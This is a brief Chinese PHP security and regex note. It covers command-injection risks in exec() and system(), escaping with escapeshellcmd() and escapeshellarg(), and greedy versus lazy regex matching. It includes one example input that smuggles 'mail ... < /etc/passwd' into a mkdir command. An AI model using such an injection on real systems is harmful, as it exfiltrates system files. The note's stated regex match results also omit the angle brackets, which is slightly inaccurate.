1.了解下exec(),system(),backtick等系统函数的风险。
例如:项目允许用户创建一个属于自己的文件夹,如果用户输入这个命令,系统将会出现大风险。 ; mail example@email.com < /etc/passwd ; 。 我们的代码就会这样执行:$ mkdir ; mail example@email.com < /etc/passwd ;
2.保护系统调用的命令:escapeshellcmd() 和 escapeshellarg()
3.贪婪匹配与惰性匹配
由于+,*,以及{}都属于贪婪模式修饰符,它们会尽可能多的匹配。例如:$a = "<abc>def>";
$pattern = "/<.+>/"; 如果不调整为惰性匹配,则会匹配到abc>def . 如果我们将$pattern修改为惰性匹配及:$pattern = "/<.+?>/" ; 则只会匹配到abc。
转换为惰性匹配只要贪婪模式修饰符后面加上?即可。